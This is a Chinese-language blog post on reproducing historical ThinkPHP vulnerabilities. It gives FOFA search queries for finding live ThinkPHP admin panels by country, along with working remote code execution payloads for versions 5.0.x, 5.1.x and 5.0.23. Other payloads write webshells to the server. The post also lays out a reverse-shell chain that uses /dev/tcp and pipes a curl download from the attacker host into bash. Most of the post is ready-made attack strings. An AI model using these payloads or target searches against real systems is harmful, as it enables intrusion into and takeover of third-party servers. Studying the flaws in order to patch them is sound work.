ThinkPHP历史漏洞复现

ThinkPHP历史漏洞复现

ThinkPHP简介

Thinkphp 是一种开源框架。是一个由国人开发的支持 windows/Unix/Linux 等服务器环境的轻量级PHP开发框架。
很多cms就是基于 thinkphp 二次开发的,所以 thinkphp 出问题的话,会影响很多基于 thinkphp开发的网站。例如:KenCMS、ThinkCMF、DuxCMS、易优CMS。

版本 漏洞
ThinkPHP3.2.3 缓存函数设计缺陷可导致Getshell
ThinkPHP3.2.3 最新版update注入漏洞
ThinkPHP3.2.X find_select_delete注入
ThinkPHP3.X order_by注入漏洞
ThinkPHP5.0.X sql注入漏洞
ThinkPHP5.0.10 缓存函数设计缺陷可导致Getshell
ThinkPHP5 SQL注入漏洞&&敏感信息泄露
ThinkPHP5.X order_by注入漏洞
ThinkPHP5.X 远程代码执行

发现漏洞

1.fofa搜索语句

header="thinkphp" && country="US" 
header="thinkphp" && country="US" && title="后台管理" 
header="thinkphp" && country="CN" && title="后台管理" && after="2021-01-01"

2.默认页面,可以看到版本信息,用/?s=aaa来测试
ThinkPHP历史漏洞复现_第1张图片
ThinkPHP历史漏洞复现_第2张图片

在kali里找thinkphp的poc

searchsploit thinkphp

//找到poc文件的绝对路径
searchsploit -p 46150.txt

//找到文件
cd /usr/share/exploitdb/exploits/php/webapps/
cat 46150.txt

ThinkPHP历史漏洞复现_第3张图片

ThinkPHP历史漏洞复现_第4张图片

ThinkPHP历史漏洞复现_第5张图片

5.0.* 版本漏洞复现

常用poc

1.测试

/index.php? s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

/index.php? s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

ThinkPHP历史漏洞复现_第6张图片

2.getshell

/index.php? s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=

ThinkPHP历史漏洞复现_第7张图片

3.访问http://ip:8080/shell.php,用hackbar工具去测试。

ThinkPHP历史漏洞复现_第8张图片

5.1.* 版本漏洞复现

常用poc

1.测试

/index.php? s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami


/index.php? s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

2.getshell

/index.php? s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "" >shell.php

thinkphp 5.0.23漏洞复现

1.使用s=captcha 触发,然后使用hackbar去输入对应的poc

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

ThinkPHP历史漏洞复现_第9张图片

ThinkPHP历史漏洞复现_第10张图片

2.写入shell,然后访问1.php

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "" > 1.php

ThinkPHP历史漏洞复现_第11张图片

3.可以反弹shell,先写个Shell.sh文件,bash -i >& /dev/tcp/192.168.42.132/9090 0>&1

//攻击机上开启http服务
python3 -m http.server

//网页上进行请求下载攻击机上的shell.sh文件
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=curl http://192.168.42.132:8000/shell.sh | bash

//开启监听9090端口,执行上面的poc就可以弹回shell

ThinkPHP历史漏洞复现_第12张图片
ThinkPHP历史漏洞复现_第13张图片

你可能感兴趣的:(漏洞复现,php,web安全)